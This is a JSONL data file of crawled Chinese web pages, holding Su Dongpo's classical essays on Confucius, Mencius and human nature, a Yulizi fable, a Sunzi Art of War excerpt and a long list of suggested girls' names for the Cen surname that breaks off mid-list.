+{"text":"東坡文鈔\/15\n魯定公十三年,孔子言於公曰:「臣無藏甲,大夫無百雉之城。」使仲由為季氏宰,將墮三都。於是叔孫氏先墮郈。季氏將墮費,公山弗狃、叔孫輒率費人襲公。公與三子入於季氏之宮,孔子命申句須、樂頎下伐之,費人北,二子奔齊,遂墮費。將墮成,公斂處父以成叛,公圍成,弗克。或曰:「殆哉,孔子之為政也,亦危而難成矣!」孔融曰:「古者王畿千里,寰內不封建諸侯。」曹操疑其論建漸廣,遂殺融。融特言之耳,安能為哉?操以為天子有千里之畿,將不利己,故殺之不旋踵。季氏親逐昭公,公死於外,從公者皆不敢入,雖子家羈亦亡。季氏之忌刻忮害如此,雖地勢不及曹氏,然君臣相猜,蓋不減操也,孔子安能以是時墮其名都而出其藏甲也哉!考於《春秋》,方是時三桓雖若不悅,然莫能違孔子也。以為孔子用事於魯,得政與民,三桓畏之歟?則季桓子之受女樂也,孔子能卻之矣。彼婦之口可以出走,是孔子畏季氏,季氏不畏孔子也。夫孔子蓋始修其政刑,以俟三桓之隙也哉?\n蘇子曰:此孔子之所以聖也。蓋田氏、六卿不服,則齊、晉無不亡之道;三桓不臣,則魯無可治之理。孔子之用於世,其政無急於此者矣。彼晏嬰者亦知之,曰:「田氏之僭,惟禮可以已之。在禮,家施不及國,大夫不收公利。」齊景公曰:「善哉,吾今而後知禮之可以為國也!」嬰能知之而莫能為之,嬰非不賢也,其浩然之氣,以直養而無害,塞乎天地之間者,不及孔、孟也。孔子以羈旅之臣得政期月,而能舉治世之禮,以律亡國之臣,墮名都,出藏甲,而三桓不疑其害己,此必有不言而信,不怒而威者矣。孔子之聖見於行事,至此為無疑也。嬰之用於齊也,久於孔子,景公之信其臣也,愈於定公,而田氏之禍不少衰,吾是以知孔子之難也。孔子以哀公十六年卒,十四年,陳恒弑其君,孔子沐浴而朝,告於哀公曰:「請討之!」吾是以知孔子之欲治列國之君臣,使如《春秋》之法者,至於老且死而不忘也。\n或曰:「孔子知哀公與三子之必不從,而以禮告也歟?」曰:否,孔子實欲伐齊。孔子既告哀公,公曰:「魯為齊弱久矣,子之伐之,將若之何?」對曰:「陳恒弑其君,民之不與者半。以魯之眾,加齊之半,可克也。」此豈禮告而已哉?哀公患三桓之偪,嘗欲以越伐魯而去之。夫以蠻夷伐國,民不與也,皋如、出公之事,斷可見矣,豈若從孔子而伐齊乎?若從孔子而伐齊,則凡所以勝齊之道,孔子任之有餘矣。既克田氏,則魯之公室自張,三桓不治而自服也,此孔子之志也。\n昔者夫子之文章,非有意於為文,是以未嘗立論也。所可得而言者,唯其歸於至當,斯以為聖人而已矣。\n夫子之道,可由而不可知,可言而不可議。此其不爭為區區之論,以開是非之端,是以獨得不廢,以與天下後世為仁義禮樂之主。夫子既沒,諸子之欲為書以傳於後世者,其意皆存乎為文,汲汲乎惟恐其汩沒而莫吾知也,是故皆喜立論。論立而爭起。自孟子之後,至於荀卿、揚雄,皆務為相攻之說,其余不足數者紛紜於天下。\n嗟夫!夫子之道,不幸而有老聃、莊周、楊朱、墨翟、田駢、慎到、申不害、韓非之徒,各持其私說以攻乎其外,天下方將惑之,而未知其所適從。奈何其弟子門人,又內自相攻而不決。千載之後,學者愈眾,而夫子之道益晦而不明者,由此之故歟?\n昔三子之爭,起於孟子。孟子曰:「人之性善。」是以荀子曰:「人之性惡。」而揚子又曰:「人之性,善惡混。」孟子既已據其善,是故荀子不得不出於惡。人之性有善惡而已,二子既已據之,是以揚子亦不得不出於善惡混也。為論不求其精,而務以為異於人,則紛紛之說,未可以知其所止。\n且夫夫子未嘗言性也,蓋亦嘗言之矣,而未有必然之論也。孟子之所謂性善者,皆出於其師子思之書。子思之書,皆聖人之微言篤論,孟子得之而不善用之,能言其道而不知其所以為言之名。舉天下之大,而必之以性善之論,昭昭乎自以為的於天下,使天下之過者,莫不欲援弓射之。故夫二子之為異論者,皆孟子之過也。\n若夫子思之論則不然,曰:「夫婦之愚,可以與知焉。及其至也,雖聖人亦有所不知焉。夫婦之不肖,可以能行焉。及其至也,雖聖人亦有所不能焉。」聖人之道,造端乎夫婦之所能行,而極乎聖人之所不能知。造端乎夫婦之所能行,是以天下無不可學。而極乎聖人之所不能知,是以學者不知其所窮。夫如是,則惻隱足以為仁,而仁不止於惻隱。羞惡足以為義,而義不止於羞惡。此不亦孟子之所以為性善之論歟!子思論聖人之道出於天下之所能行,而孟子論天下之人皆可以行聖人之道。此無以異者。而子思取必於聖人之道,孟子取必於天下之人。故夫後世之異議皆出於孟子。而子思之論,天下同是而莫或非焉。然後知子思之善為論也。\n昔者仲尼自衛反魯,網羅三代之舊聞,蓋經禮三百,曲禮三千,終年不能究其說。夫子謂子貢曰:「賜,爾以吾為多學而識之者歟?非也,予一以貫之。」天下苦其難而莫之能用也,不知夫子之有以貫之也。是故堯、舜、禹、湯、文、武、周公之法度禮樂刑政,與當世之賢人君子百氏之書,百工之技藝,九州之內,四海之外,九夷八蠻之事,荒忽誕謾而不可考者,雜然皆列乎胸中,而有卓然不可亂者,此固有以一之也。是以博學而不亂,深思而不惑,非天下之至精,其孰能與於此?\n蓋嘗求之於六經,至於《詩》與《春秋》之際,而後知聖人之道,始終本末,各有條理。夫王化之本,始於天下之易行。天下固知有父子也,父子不相賊,而足以為孝矣。天下固知有兄弟也,兄弟不相奪,而足以為悌矣。孝悌足而王道備,此固非有深遠而難見,勤苦而難行者也。故《詩》之為教也,使人歌舞佚樂,無所不至,要在於不失正焉而已矣。雖然,聖人固有所甚畏也。一失容者,禮之所由廢也。一失言者,義之所由亡也。君臣之相攘,上下之相殘,天下大亂,未嘗不始於此道。是故《春秋》力爭於毫釐之間,而深明乎疑似之際,截然其有所必不可為也。不觀於《詩》,無以見王道之易。不觀於《春秋》,無以知王政之難。\n自孔子沒,諸子各以所聞著書,而皆不得其源流,故其言無有統要,若孟子,可謂深於《詩》而長於《春秋》者矣。其道始於至粗,而極於至精。充乎天地,放乎四海,而毫釐有所必計。至寬而不可犯,至密而不可察者[1],此其中必有所守,而後世或未之見也。\n且孟子嘗有言矣:「人能充其無欲害人之心,而仁不可勝用也。人能充其無欲為穿窬之心,而義不可勝用也。士未可以言而言,是以言餂之也。可以言而不言。是以不言餂之也。是皆穿窬之類也。」唯其不為穿窬也,而義至於不可勝用。唯其未可以言而言、可以言而不言也,而其罪遂至於穿窬。故曰:其道始於至粗,而極於至精。充乎天地,放乎四海,而毫釐有所必計。嗚呼,此其所以為孟子歟!後之觀孟子者,無觀之他,亦觀諸此而已矣。\n嘗讀《孔子世家》,觀其言語文章,循循莫不有規矩,不敢放言高論,言必稱先王,然後知聖人憂天下之深也。茫乎不知其畔岸,而非遠也;浩乎不知其津涯,而非深也。其所言者,匹夫匹婦之所共知;而所行者,聖人有所不能盡也。嗚呼!是亦足矣。使後世有能盡吾說者,雖為聖人無難,而不能者,不失為寡過而已矣。\n子路之勇,子貢之辯,冉有之智,此三者,皆天下之所謂難能而可貴者也。然三子者,每不為夫子之所悅。顏淵默然不見其所能,若無以異於眾人者,而夫子亟稱之。且夫學聖人者,豈必其言之雲爾哉?亦觀其意之所向而已。夫子以為後世必有不能行其說者矣,必有竊其說而為不義者矣。是故其言平易正直,而不敢為非常可喜之論,要在於不可易也。\n昔者常怪李斯事荀卿,既而焚滅其書,大變古先聖王之法,於其師之道,不啻若寇仇。及今觀荀卿之書,然後知李斯之所以事秦者皆出於荀卿,而不足怪也。\n荀卿者,喜為異說而不讓,敢為高論而不顧者也。其言愚人之所驚,小人之所喜也。子思、孟軻,世之所謂賢人君子也。荀卿獨曰:「亂天下者,子思、孟軻也。」天下之人,如此其眾也;仁人義士,如此其多也。荀卿獨曰:「人性惡。桀、紂,性也。堯、舜,偽也。」由是觀之,意其為人必也剛復不遜,而自許太過。彼李斯者,又特甚者耳。\n今夫小人之為不善,猶必有所顧忌,是以夏、商之亡,桀、紂之殘暴,而先王之法度、禮樂、刑政,猶未至於絕滅而不可考者,是桀、紂猶有所存而不敢盡廢也。彼李斯者,獨能奮而不顧,焚燒夫子之六經,烹滅三代之諸侯,破壞周公之井田,此亦必有所恃者矣。彼見其師歷詆天下之賢人,以自是其愚,以為古先聖王皆無足法者。不知荀卿特以快一時之論,而荀卿亦不知其禍之至於此也。\n其父殺人報仇,其子必且行劫。荀卿明王道,述禮樂,而李斯以其學亂天下,其高談異論有以激之也。孔、孟之論,未嘗異也,而天下卒無有及者。茍天下果無有及者,則尚安以求異為哉!\n聖人之所為惡夫異端盡力而排之者,非異端之能亂天下,而天下之亂所由出也。昔周之衰,有老聃、莊周、列禦寇之徒,更為虛無淡泊之言,而治其猖狂浮遊之說,紛紜顛倒,而卒歸於無有。由其道者,蕩然莫得其當,是以忘乎富貴之樂,而齊乎死生之分,此不得誌於天下,高世遠舉之人,所以放心而無憂。雖非聖人之道,而其用意,固亦無惡於天下。自老聃之死百余年,有商鞅、韓非著書,言治天下無若刑名之賢,及秦用之,終於勝、廣之亂,教化不足,而法有余,秦以不祀,而天下被其毒。後世之學者,知申、韓之罪,而不知老聃、莊周之使然。\n何者?仁義之道,起於夫婦、父子、兄弟相愛之間;而禮法刑政之原,出於君臣上下相忌之際。相愛則有所不忍,相忌則有所不敢。夫不敢與不忍之心合,而後聖人之道得存乎其中。今老聃、莊周論君臣、父子之間,泛泛乎若萍浮於江湖而適相值也。夫是以父不足愛,而君不足忌。不忌其君,不愛其父,則仁不足以懷,義不足以勸,禮樂不足以化。此四者皆不足用,而欲置天下於無有。夫無有,豈誠足以治天下哉!商鞅、韓非求為其說而不得,得其所以輕天下而齊萬物之術,是以敢為殘忍而無疑。\n今夫不忍殺人而不足以為仁,而仁亦不足以治民;則是殺人不足以為不仁,而不仁亦不足以亂天下。如此,則舉天下唯吾之所為,刀鋸斧鉞,何施而不可?昔者夫子未嘗一日敢易其言。雖天下之小物,亦莫不有所畏。今其視天下眇然若不足為者,此其所以輕殺人歟!\n太史遷曰:「申子卑卑,施於名實。韓子引繩墨,切事情,明是非,其極慘核少恩,皆原於道德之意。」嘗讀而思之,事固有不相謀而相感者,莊、老之後,其禍為申、韓。由三代之衰至於今,凡所以亂聖人之道者,其弊固已多矣,而未知其所終,奈何其不為之所也。\n昔之為性論者多矣,而不能定於一。始孟子以為善,而荀子以為惡,揚子以為善惡混。而韓愈者又取夫三子之說,而折之以孔子之論,離性以為三品,曰:「中人可以上下,而上智與下愚不移。」以為三子者,皆出乎其中,而遺其上下。而天下之所是者,於愈之說為多焉。\n嗟夫,是未知乎所謂性者,而以夫才者言之。夫性與才相近而不同,其別不啻若白黑之異也。聖人之所與小人共之,而皆不能逃焉,是真所謂性也。而其才固將有所不同。今夫木,得土而後生,雨露風氣之所養,暢然而遂茂者,是木之所同也,性也。而至於堅者為轂,柔者為輪,大者為楹,小者為桷。桷之不可以為楹,輪之不可以為轂,是豈其性之罪耶?天下之言性者,皆雜乎才而言之,是以紛紛而不能一也。\n孔子所謂中人可以上下,而上智與下愚不移者,是論其才也。而至於言性,則未嘗斷其善惡,曰「性相近也,習相遠也」而已。韓愈之說,則又有甚者,離性以為情,而合才以為性。是故其論終莫能通。彼以為性者,果泊然而無為耶?則不當復有善惡之說。茍性而有善惡也,則夫所謂情者,乃吾所謂性也。人生而莫不有饑寒之患,牝牡之欲,今告乎人曰:饑而食,渴而飲,男女之欲,不出於人之性也,可乎?是天下知其不可也。聖人無是,無由以為聖;而小人無是,無由以為惡。聖人以其喜怒哀懼愛惡欲七者禦之,而之乎善;小人以是七者禦之,而之乎惡。由此觀之,則夫善惡者,性之所能之,而非性之所能有也。且夫言性者,安以其善惡為哉!雖然,揚雄之論,則固已近之。曰:「人之性善惡混。修其善則為善人,修其惡則為惡人。」此其所以為異者,唯其不知性之不能以有夫善惡,而以為善惡之皆出乎性也而已。\n夫太古之初,本非有善惡之論,唯天下之所同安者,聖人指以為善,而一人之所獨樂者,則名以為惡。天下之人,固將即其所樂而行之,孰知夫聖人唯其一人之獨樂不能勝天下之所同安,是以有善惡之辨。而諸子之意將以善惡為聖人之私說,不已疏乎!而韓愈又欲以書傳之所聞昔人之事跡,而折夫三子之論,區區乎以後稷之岐嶷,文王之不勤,瞽、鯀、管、蔡之跡而明之!聖人之論性也,將以盡萬物之天理,與眾人之所共知者,以折天下之疑。而韓愈欲以一人之才,定天下之性,且其言曰:「今之言性者,皆雜乎佛、老。」愈之說,以為性之無與乎情,而喜怒哀樂皆非性者,是愈流入於佛、老而不自知也。\n聖人之道,有趨其名而好之者,有安其實而樂之者。珠璣犀象,天下莫不好。奔走悉力,爭鬥奪取,其好之不可謂不至也。然不知其所以好之之實。至於粟米蔬肉,桑麻布帛,天下之人內之於口,而知其所以為美,被之於身,而知其所以為安,此非有所役乎其名也。\n韓愈之於聖人之道,蓋亦知好其名矣,而未能樂其實。何者?其為論甚高,其待孔子、孟軻甚尊,而拒楊、墨、佛、老甚嚴。此其用力,亦不可謂不至也。然其論至於理而不精,支離蕩佚,往往自叛其說而不知。\n昔者宰我、子貢、有若更稱其師,以為生民以來未有如夫子之盛,雖堯舜之賢,亦所不及。其尊道好學,亦已至矣。然而君子不以為貴,曰:宰我、子貢、有若,智足以知聖人之汙而已矣。若夫顏淵豈亦雲爾哉!蓋亦曰「夫子循循焉善誘人」。由此觀之,聖人之道,果不在於張而大之也。韓愈者,知好其名,而未能樂其實者也。\n愈之《原人》曰:「天者,日月星辰之主也。地者,山川草木之主也。人者,夷狄禽獸之主也。主而暴之,不得其為主之道矣。是故聖人一視而同仁,篤近而舉遠。」夫聖人之所為異乎墨者,以其有別焉耳。今愈之言曰「一視而同仁」,則是以待人之道待夷狄,待夷狄之道待禽獸也,而可乎?教之使有能,化之使有知,是待人之仁也。不薄其禮而致其情,不責其去而厚其來,是待夷狄之仁也。殺之以時,而用之有節,是待禽獸之仁也。若之何其一之!儒墨之相戾,不啻若胡越。而其疑似之間,相去不能以發。宜乎愈之以為一也。孔子曰:「泛愛眾而親仁。」仁者之為親,則是孔子不兼愛也。「祭如在,祭神如神在。」神不可知,而祭者之心,以為如其存焉,則是孔子不明鬼也。\n儒者之患,患在於論性,以為喜怒哀樂皆出於情,而非性之所有。夫有喜有怒,而後有仁義;有哀有樂,而後有禮樂。以為仁義禮樂皆出於情而非性,則是相率而叛聖人之教也。老子曰:「能嬰兒乎?」喜怒哀樂,茍不出乎性而出乎情,則是相率而為老子之「嬰兒」也。\n儒者或曰老、《易》,夫《易》,豈老子之徒歟?而儒者至有以老子說《易》,則是離性以為情者,其弊固至此也。嗟夫,君子之為學,知其人之所長而不知其蔽,豈可謂善學耶?\n|上一卷||下一卷|\n|東坡文鈔|\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|\n- 一作「至密而可樂者」,當誤。","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%9D%B1%E5%9D%A1%E6%96%87%E9%88%94\/15","date":"2019-08-25T05:46:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027323067.50\/warc\/CC-MAIN-20190825042326-20190825064326-00213.warc.gz","language":"lzh","language_score":0.5018996596,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5018996596336365, \"cmn_Hani_score\": 0.4277713894844055, \"nan_Hani_score\": 0.05277033522725105, \"wuu_Hani_score\": 0.011910833418369293}","num_words":38,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.694,"perplexity_score":500.0,"cluster_detection":1} +{"text":"句章之野人,翳其藩以草,聞唶唶之聲,發之而得雉,則又翳之,冀其重獲也。明日往聆焉,唶唶之聲如初,發之而得蛇,傷其手以斃。郁離子曰:是事之小,而可以為大戒者也。天下有非望之福,亦有非望之禍。小人不知禍福之相倚伏也,則僥倖以為常。是故失意之事,恒生於其所得意,惟其見利而不見害,知存而不知亡也。","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E9%83%81%E9%9B%A2%E5%AD%90\/%E5%8F%A5%E7%AB%A0%E9%87%8E%E4%BA%BA","date":"2019-11-22T17:18:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671411.14\/warc\/CC-MAIN-20191122171140-20191122200140-00377.warc.gz","language":"lzh","language_score":0.6708829999,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6708829998970032, \"cmn_Hani_score\": 0.2937895357608795, \"nan_Hani_score\": 0.017101310193538666}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.755,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孫子兵法[精選]孫子兵法[范文]孫子兵法大全就在精品文庫網本圖書由(風過無痕520)為您整理制作更多好書敬請登錄《孫子兵法》孫武始計第一孫子曰:兵者國之大事死生之地存亡之道不可不察也。故經之以五事校之以計而索其情:一曰道二曰天三曰地四曰將五曰法。道者令民于上同意可與之死可與之生而不危也;天者陰陽、寒暑、時制也;地者遠近、險易、廣狹、死生也;將者智、信、仁、勇、嚴也;法者曲制、官道、主用也。凡此五者將莫不聞知之者勝不知之者不勝。故校之以計而索其情曰:主孰有道?將孰有能?天地孰得?法令孰行?兵眾孰強?士卒孰練?賞罰孰明?吾以此知勝負矣。將聽吾計用之必勝留之;將不聽吾計用之必敗去之。計利以聽乃為之勢以佐其外。勢者因利而制權也。兵者詭道也。故能而示之不能用而示之不用近而示之遠遠而示之近。利而誘之亂而取之實而備之強而避之怒而撓之卑而驕之佚而勞之親而離之攻其無備出其不意。此兵家之勝不可先傳也。夫未戰而\n孫子兵法:謀攻篇\n作者:孫武\n孫子曰:夫用兵之法,全國為上,破國次之;全軍為上,破軍次之;全旅為上,破旅次之;全卒為上,破卒次之;全伍為上,破伍次之。是故百戰百勝,非善之善者也;不戰而屈人之兵,善之善者也。\n故上兵伐謀,其次伐交,其次伐兵,其下攻城。攻城之法,為不得已。修櫓轒輼,具器械,三月而后成,距堙,又三月而后已。將不勝其忿而蟻附之,殺士卒三分之一而城不拔者,此攻之災也。\n故善用兵者,屈人之兵而非戰也,拔人之城而非攻也,毀人之國而非久也,必以全爭于天下,故兵不頓,而利可全,此謀攻之法也。\n故用兵之法,十則圍之,五則攻之,倍則分之,敵則能戰之,少則能逃之,不若則能避之。故小敵之堅,大敵之擒也。\n夫將者,國之輔也,輔周則國必強,輔隙則國必弱。\n故君之所以患于軍者三:不知軍之不可以進而謂之進,不知軍之不可以退而謂之退,是謂縻軍。不知三軍之事而同三軍之政者,則軍士惑矣。不知三軍之權而同三軍之任,則軍士疑矣。三軍既惑且疑,則諸侯之難至矣。是謂亂軍引勝。\n故知勝有五:知可以戰與不可以戰者勝;識眾寡之用者勝;上下同欲者勝;以虞待不虞者勝;將能而君不御者勝。此五者,知勝之道也。\n故曰:知彼知己,百戰不殆;不知彼而知己,一勝一負;不知彼,不知己,每戰必殆。","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.oeolj.com.cn\/view\/346deb891b48ad2a.html","date":"2019-12-07T06:11:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540496492.8\/warc\/CC-MAIN-20191207055244-20191207083244-00499.warc.gz","language":"lzh","language_score":0.4640793502,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.464079350233078, \"cmn_Hani_score\": 0.4378628432750702, \"nan_Hani_score\": 0.05290091410279274, \"wuu_Hani_score\": 0.01730014756321907, \"jpn_Jpan_score\": 0.013443803414702415}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.523,"perplexity_score":500.0,"cluster_detection":1} +{"text":"岑姓,中华姓氏之一,主要源自姬姓及少数民族改姓等。岑姓在宋版百家姓中位列第67位。在当今姓氏人口排行榜上名列第295位,人口约52.6万人,占全国人口总数的0.037%左右。岑姓女孩怎么起名?下面小编带来岑姓女孩取什么名字好,希望对大家有所帮助。\n岑彪芳 岑琳贤 岑贻瑶 岑淅玲 岑儆冉 岑竣莉 岑绩琼 岑靓妞 岑炼琼 岑羿琳 岑娩嫣 岑爽琼 岑琳毓 岑已洁 岑瑶爽 岑莹迎 岑运莹 岑戎洁 岑羚玲 岑思颖 岑羿莉 岑妹洞 岑赵霞 岑岳妹 岑常瑛 岑连翠 岑董梅 岑柯琼 岑幼婧 岑铜霞 岑璨洁 岑嫒秀 岑畅琳 岑婴燕 岑听梅 岑玲恺 岑紊霞 岑蔡婧 岑莹霜 岑贵莹 岑亦蓉 岑枞洁 岑乃芬 岑美琴 岑慕茹 岑醒红 岑婧莞 岑娅畅 岑焕瑶 岑广蓉 岑枚琳 岑妹颖 岑浙婷 岑翔洁 岑怡湾 岑寅萍 岑娅纤 岑悦洛 岑宴颖 岑检英 岑曰妹 岑得燕 岑苒文 岑悼梅 岑咏铁 岑兵娥 岑晶英 岑提梅 岑瑶瑾 岑琳尚 岑祺霞 岑萍帼 岑闻瑶 岑连蓉 岑瑛乙 岑智娜 岑俞倩 岑琳俨 岑刚莹 岑未洁 岑熔芬 岑裳婧 岑召芬 岑葛萍\n岑骊娟 岑伦皎 岑蔚秀 岑瑶香 岑茹绵 岑召花 岑现娥 岑仪燕 岑白婧 岑芹琴 岑砾莹 岑婧挽 岑霞泞 岑莹田 岑希芳 岑夏红 岑婧晏 岑玖瑶 岑剡琴 岑百琳 岑仰赠 岑琴瑛 岑嫣奇 岑悦毅 岑抒莹 岑娣孔 岑次玲 岑宪颖 岑焰萍 岑炬英 岑和艳 岑芬旭 岑戚悦 岑酿丘 岑狮蓉 岑还琳 岑婷姣 岑耘婵 岑陶萍 岑寅娅 岑俏倩 岑家妞 岑莫娟 岑羲信 岑续裴 岑粉洁 岑珙裴 岑莹英 岑习琳 岑妙瑶 岑汗婧 岑铮芳 岑婧屹 岑信茹 岑端琳 岑苏琼 岑皙茹 岑萤洁 岑旺竹 岑怡钿 岑谦玲 岑亓琼 岑柠妍 岑富媛 岑妍典 岑妍磬 岑琳骓 岑媛岩 岑隐瑶 岑怡净 岑沈玉 岑琳秸 岑孺玉 岑费妍 岑瑶恩 岑硅英 岑着霞 岑悦遥 岑静妹 岑蓉荫 岑蓉养 岑莺娅 岑敦芬 岑共雪 岑真茹 岑怡謦 岑馥玉 岑淙瑶 岑妮洁 岑嫣珉 岑玺萍 岑窦宛 岑怡单 岑备丽 岑朱玲 岑沙玉 岑禧霞 岑霈葳 岑九媛 岑含玉 岑淤文 岑彩依 岑栋娥 岑哲裴 岑译萍 岑瑶龙 岑典琴 岑佗芬 岑崇怡 岑莞艳 岑炯倩 岑婷豫 岑坚玉 岑零琳 岑琳漫 岑键玲 岑严霞 岑志萍 岑冬小 岑婷彗 岑夏冉 岑婷升 岑咏花 岑姬艳 岑老美 岑婧戛 岑婵丹 岑变红 岑举文 岑骅蓉 岑初翠 岑莲琳 岑珂萍 岑婵溪 岑恭蓉 岑冬花 岑婷雩 岑庄琴 岑勋瑶 岑凇萍 岑凡芳 岑霞峰 岑禹芳 岑夙颖 岑雨倩 岑蛸莉 岑南颖 岑鸟洁 岑希丽 岑涛艳 岑德玉 岑婧波 岑用枫 岑娜蕊 岑怡峥 岑粮瑛 岑可瑶 岑宸琼 岑茹屿 岑泯燕 岑欲文 岑关玉 岑汇莹 岑侗雪 岑嫣舞 岑娅恽 岑皙妍 岑莹仪 岑晟娜 岑曰琴 岑蓉沁 岑显秀 岑玲健 岑酩美 岑旖萍 岑蓉荞 岑皎梅 岑绽红 岑缙霞 岑能花 岑椽英 岑婷宸 岑莹吾 岑渤冉 岑玲菀 岑王花 岑秀妞 岑雷红 岑烩芬 岑瑛萍 岑妍和 岑默蓉 岑怡沣 岑柔霞 岑塑玉 岑胜悦 岑蔼冉 岑徽委 岑荧梅 岑樟莹 岑锰文 岑燕姚 岑堂燕 岑招梅 岑研燕 岑秀颖 岑野琳 岑佑红 岑佃萍 岑丝娟 岑毽玲 岑恺玲 岑冉璧 岑怡姣 岑统英 岑豫莹 岑粟悦 岑燕拼 岑恒嫣 岑禧玲 岑七倩 岑妍裘 岑洋颖 岑悦嵘 岑翻琴 岑谕宜 岑簪茹 岑泷霞 岑裥霞 岑莅芳 岑干萍 岑桃蓝 岑伺秀 岑显悦 岑圣裴 岑怡莜 岑熙雪 岑慈婵 岑娜谙 岑阳蓉 岑栗妍 岑谕丽 岑杼娜 岑燕恋 岑秭婷 岑荆梅 岑杼雪 岑琳暖 岑倩嫦 岑松茹 岑烨冉 岑揠倩 岑需霞 岑迅瑶 岑允悦 岑怡珉 岑蓉漩 岑巳玉 岑礼怡 岑伟花 岑盛妍 岑跞芳 岑嫒娜 岑讯婷 岑镇娟 岑随文 岑恋瑛 岑荀文 岑萁文 岑莹僮 岑羽花 岑莹迪 岑关红 岑桊美 岑智萍 岑承颖 岑闫瑶 岑夷倩 岑涓美 岑听玉 岑玲郦 岑嫣桦 岑侪怡 岑郦红 岑韫琳 岑俞琴 岑容琼 岑聆茹 岑伶琳 岑逡文 岑妹雪 岑娅丞 岑倩艮 岑妹朵 岑玲吉 岑蓉山 岑干花 岑瑶帆 岑赢丽 岑怡运 岑廷怡 岑霞贻 岑萍权 岑由师 岑杰娟 岑定花 岑菊琳 岑婧镭 岑嫣荟 岑蓉男 岑怡获 岑瑶齐 岑崔让 岑崎琳 岑婧爽 岑宵洁 岑莉羽 岑妍瑛 岑欷悦 岑输琴 岑效妹 岑赋梅 岑鲜颖 岑樟芳 岑逞红 岑妹娇 岑升燕 岑昔玲 岑竞仿 岑媛品 岑柄媛 岑掀霞 岑芊雅 岑荻媛 岑壮文 岑莉铿 岑琳嘟 岑菡瑶 岑钤文 岑婷颉 岑婵香 岑骏琴 岑玳娟 岑孚媛 岑婧谣 岑怡滦 岑瑛培 岑涌茹 岑厥萍 岑缢娜 岑勤萍 岑裴蔓 岑艳娜 岑郁妍 岑川芳 岑瑗玉 岑萸婷 岑羚嫣 岑盟婷 岑莉惟 岑裴东 岑渝婧 岑姗琳 岑重悦 岑煊英 岑蒋文 岑秀昭 岑绛琳 岑薰艳 岑娟芙 岑滢花 岑衣美 岑赫芳 岑忻娥 岑怡棠 岑灿娥 岑莉逡 岑昌娥 岑令茜 岑来霞 岑尤娅 岑未萍 岑邦媛 岑倩穹 岑怡谰 岑珉嫣 岑克琳 岑颍娟 岑幔婷 岑倩亮 岑莉儒 岑狸艳 岑霏娜 岑蓉妃 岑尊燕 岑宪蓉 岑穗琳 岑朵茹 岑爱婧 岑潮梅 岑贯洁 岑冯娥 岑琰嫣 岑珠瑶 岑恩悦 岑怡雍 岑薇娅 岑产文 岑缤冉 岑汀媛 岑居洁 岑声霞 岑娟夙 岑苇瑶 岑炫婧 岑弋红 岑腕悦 岑婷岍 岑莉均 岑妍喧 岑怡溽 岑媛停 岑萦莹 岑燕频 岑仁冉 岑倩巧 岑治琼 岑秀佳 岑锁芳 岑燕奎 岑谨西 岑琼萍 岑婧银 岑越洁 岑薇媛 岑莹九 岑秀钥 岑媛穗 岑关玲 岑怡瑛 岑严娅 岑娅洛 岑裴正 岑当琳 岑滢婧 岑敏莉 岑德文 岑埝洁 岑梓茹 岑弋玉 岑帮霞 岑莹含 岑怡颐 岑妍匝 岑坭艳 岑旎怡 岑芬灵 岑瀚蓉 岑琴好 岑儒婷 岑芥婷 岑渊梅 岑豹文 岑双婵 岑莉臻 岑洪观 岑四燕 岑秀尼 岑豪娅 岑觅嫣 岑燕科 岑晚悦 岑传娟 岑卜莹 岑陵嫣 岑怡淮 岑贤琼 岑隽悦 岑秀谢 岑娜与 岑靳玉 岑纯岭 岑妍民 岑婧耘 岑已琳 岑主英 岑湘婷 岑矾莹 岑铃谨 岑禹霞 岑范婧 岑怡屺 岑汇怡 岑极丽 岑铃娅 岑娅欧 岑缤瑶 岑婷恩 岑湃霞 岑盟美 岑宾玲 岑婷甜 岑娥井 岑玲侨 岑傻婷 岑媛迤 岑宜丽 岑豪萍 岑养蓉 岑慈婷 岑琳原 岑怡勃 岑银婵 岑宫瑛 岑悦焉 岑娟霖 岑原婷 岑显怡 岑蓝琴 岑莛美 岑杞秀 岑勤婧 岑与丽 岑魈红 岑科瑶 岑祝琳 岑怡凇 岑家怡 岑井英 岑绚婷 岑婷彩 岑媛秦 岑珏茹 岑似红 岑玲本 岑匀琼 岑蒋悦 岑幸兰 岑声怡 岑玲良 岑瑛瑾 岑玲鹦 岑崇娥 岑隳霞 岑枭茹 岑恫雪 岑岫嫣 岑恝怡 岑钎倩 岑道妍 岑木瑛 岑丹琳 岑芥瑶 岑寅霏 岑炜美 岑悦愉 岑珠娅 岑榄玉 岑颂洁 岑汇嫣 岑刘秀 岑仕莹 岑球秀 岑媛宸 岑晓红 岑秀芳 岑小娟 岑娅豪 岑芬蕾 岑萍茸 岑杼娥 岑魏玉 岑居红 岑娜静 岑香莹 岑纹茹 岑灼美 岑章听 岑芬永 岑灏媛 岑召莉 岑冉秀 岑勇花 岑谟霞 岑婷千 岑媛蕃 岑丞艳 岑燕莼 岑刘姜 岑啸文 岑娜霖 岑茵梅 岑赣娟 岑应美 岑熹婷 岑琳栅 岑珩婧 岑岩蓉 岑蓉享 岑葶莹 岑聪琴 岑茹毅 岑召瑛 岑拙玉 岑媛萱 岑艺姗 岑朵文 岑萍康 岑嗥悦 岑瑾举 岑喃妞 岑瑶淋 